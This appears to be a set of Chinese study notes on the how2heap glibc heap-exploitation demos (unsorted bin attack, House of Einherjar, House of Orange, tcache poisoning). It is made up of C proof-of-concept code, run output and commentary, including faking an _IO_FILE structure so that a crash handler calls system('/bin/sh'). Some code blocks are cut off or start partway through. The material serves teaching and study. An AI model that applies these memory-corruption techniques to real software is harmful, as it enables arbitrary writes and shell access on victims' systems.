unsigned long *p=malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been " "rewrite:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
qianfa@qianfa:~/Desktop/how2heap/glibc_2.25$ ./unsorted_bin_attack This file demonstrates unsorted bin attack by write a large unsigned long value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack: 0x7ffe7322eb88: 0
Now, we allocate first normal chunk on the heap at: 0x25b7010 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f45ea3a6b78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe7322eb78
Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite: 0x7ffe7322eb88: 0x7f45ea3a6b78
定义一个变量
1
unsigned long stack_var=0;
申请两个chunk
1 2
unsigned long *p=malloc(400); malloc(500);
释放p
1
free(p);
假设p的bk可以被控制
1
p[1]=(unsigned long)(&stack_var-2);
再申请一个400大小的chunk
1
malloc(400);
unlink 的对 unsorted bin 的操作是这样的:
1 2 3
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t* victim = malloc(0x100);
fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); intptr_t* p1 = malloc(0x100);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free(victim);
fprintf(stderr, "Create a fake chunk on the stack"); fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address"); stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY----------- fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack //------------------------------------
fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100)); }
结果:
1 2 3 4 5 6 7
Allocating the victim chunk Allocating another chunk to avoid consolidating the top chunk with the small one during the free() Freeing the chunk 0xaa5010, it will be inserted in the unsorted bin Create a fake chunk on the stackSet size for next allocation and the bk pointer to any writable addressNow emulating a vulnerability that can overwrite the victim->size and victim->bk pointer Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem Now next malloc will return the region of our fake chunk: 0x7ffea916a680 malloc(0x100): 0x7ffea916a680
Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
size字段必须和接下来请求的size(也就是0x100)不同,并且需要绕过一个检查。
1 2
victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
申请一个0x100大小chunk,将返回(&stack_buffer[2])
1 2
fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
int main() { fprintf(stderr, "Welcome to House of Einherjar!\n"); fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n"); fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); fprintf(stderr, "a: %p\n", a); int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]); fprintf(stderr, "size: %#lx\n", fake_chunk[1]); fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); fprintf(stderr, "If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); fprintf(stderr, "Next malloc(0x200) is at %p\n", d); }
Welcome to House of Einherjar! Tested in Ubuntu 16.04 64bit. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x38 bytes for 'a' a: 0x1147010 Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38
We create a fake chunk wherever we want, in this case we'll create the chunk on the stack However, you can also create the chunk in the heap or the bss, as long as you know its address We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks (although we could do the unsafe unlink technique here in some scenarios) Our fake chunk at 0x7fff79af29a0 looks like: prev_size (not used): 0x100 size: 0x100 fwd: 0x7fff79af29a0 bck: 0x7fff79af29a0 fwd_nextsize: 0x7fff79af29a0 bck_nextsize: 0x7fff79af29a0
We allocate 0xf8 bytes for 'b'. b: 0x1147050
b.size: 0x101 b.size is: (0x100) | prev_inuse = 0x101 We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x100 This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk Our fake prev_size will be 0x1147040 - 0x7fff79af29a0 = 0xffff8000876546a0
Modify fake chunk's size to reflect b's new prev_size Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set Our fake chunk size is now 0xffff800087675661 (b.size + fake_prev_size + top_chunk.size)
Now we can call malloc() and it will begin in our fake chunk Next malloc(0x200) is at 0x7fff79af29b0
分析:
定义变量a,b,c并初始化a
1 2 3 4 5 6 7
uint8_t* a; uint8_t* b; uint8_t* d;
a = (uint8_t*) malloc(0x38); int real_a_size = malloc_usable_size(a);
创建一个伪造堆块
该chunk可以是我们想要的任何地方,在这个案例中,将在stack创造fake chunk。
你也可以在heap或者bss段构造fake chunk,只要你知道它的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13
// create a fake chunk size_t fake_chunk[6];
// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[0] = 0x100;
// size of the chunk just needs to be small enough to stay in the small bin fake_chunk[1] = 0x100;
/* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */
/* This function is just present to emulate the scenario where the address of the function system is known. */ int winner ( char *ptr);
int main() { /* The House of Orange starts with the assumption that a buffer overflow exists on the heap using which the Top (also called the Wilderness) chunk can be corrupted. At the beginning of execution, the entire heap is part of the Top chunk. The first allocations are usually pieces of the Top chunk that are broken off to service the request. Thus, with every allocation, the Top chunks keeps getting smaller. And in a situation where the size of the Top chunk is smaller than the requested value, there are two possibilities: 1) Extend the Top chunk 2) Mmap a new page If the size requested is smaller than 0x21000, then the former is followed. */
char *p1, *p2; size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/* Firstly, lets allocate a chunk on the heap. */
p1 = malloc(0x400-16);
/* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01
Now, let's satisfy the conditions 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. */
/* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end
And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free
Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end
*/
p2 = malloc(0x1000); /* Note that the above chunk will be allocated in a different page that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old top chunk so we could overwrite the chunk's size. For the second phase we utilize this overflow again to overwrite the fd and bk pointer of this chunk in the unsorted bin list. There are two common ways to exploit the current state: - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) - Use the unlinking of the chunk for an *where*-controlled write of the libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which is triggered when the libc detects any bogus state of the heap. Whenever abort is triggered, it will flush all the file pointers by calling _IO_flush_all_lockp. Eventually, walking through the linked list in _IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). More about file-pointer exploitation can be found here: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they currently point to the libc's main_arena. */
io_list_all = top[2] + 0x9a8;
/* We plan to overwrite the fd and bk pointers of the old top, which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all. So, we should set chunk->bk to be _IO_list_all - 16 */ top[3] = io_list_all - 0x10;
/* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */
memcpy( ( char *) top, "/bin/sh\x00", 8);
/* The function _IO_flush_all_lockp iterates through the file pointer linked-list in _IO_list_all. Since we can only overwrite this address with main_arena's unsorted-bin-list, the idea is to get control over the memory at the corresponding fd-ptr. The address of the next file pointer is located at base_address+0x68. This corresponds to smallbin-4, which holds all the smallbins of sizes between 90 and 98. For further information about the libc's bin organisation see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field. Here it gets a little bit tricky, currently the old top chunk is in the unsortedbin list. For each allocation, malloc tries to serve the chunks in this list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (prev_inuse bit has to be set) and trigger an non fitting smaller allocation, malloc will sort the old chunk into the smallbin-4. Since this bin is currently empty the old top chunk will be the new head, therefore, occupying the smallbin[4] location in the main_arena and eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to _IO_list_all, it will check the corresponding size field, detect that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ" and finally triggering the abort call that gets our chain rolling. Here is the corresponding code in the libc: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717 */
top[1] = 0x61;
/* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */
_IO_FILE *fp = (_IO_FILE *) top;
/* 1. Set mode to 0: fp->_mode <= 0 */
fp->_mode = 0; // top+0xc0
/* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */
/* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the _IO_FILE struct: base_address+sizeof(_IO_FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */
/* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */
整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新top chunk,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold。如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。
分析:
该方法的利用,需要heap能够溢出,并覆盖Top chunk的size字段
定义变量
1 2
char *p1, *p2; size_t io_list_all, *top;
申请一个0x400大小的chunk
1
p1 = malloc(0x400-16);
修改Top chunk的size,需要满足条件如下:
1 2 3 4 5 6
1) Top chunk + size has to be page aligned Top chunk + size 必须对其到4k,也就是0x1000的整数倍 2) Top chunk's prev_inuse bit has to be set. Top chunk的prev_inuse必须设为1 3) size要大于MINSIZE(0x10) 4) size要小于之后申请的chunk size + MINSIZE(0x10)
fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
int main() { fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n\n");
size_t stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
fprintf(stderr, "Now the tcache list has [ %p ].\n", a); fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);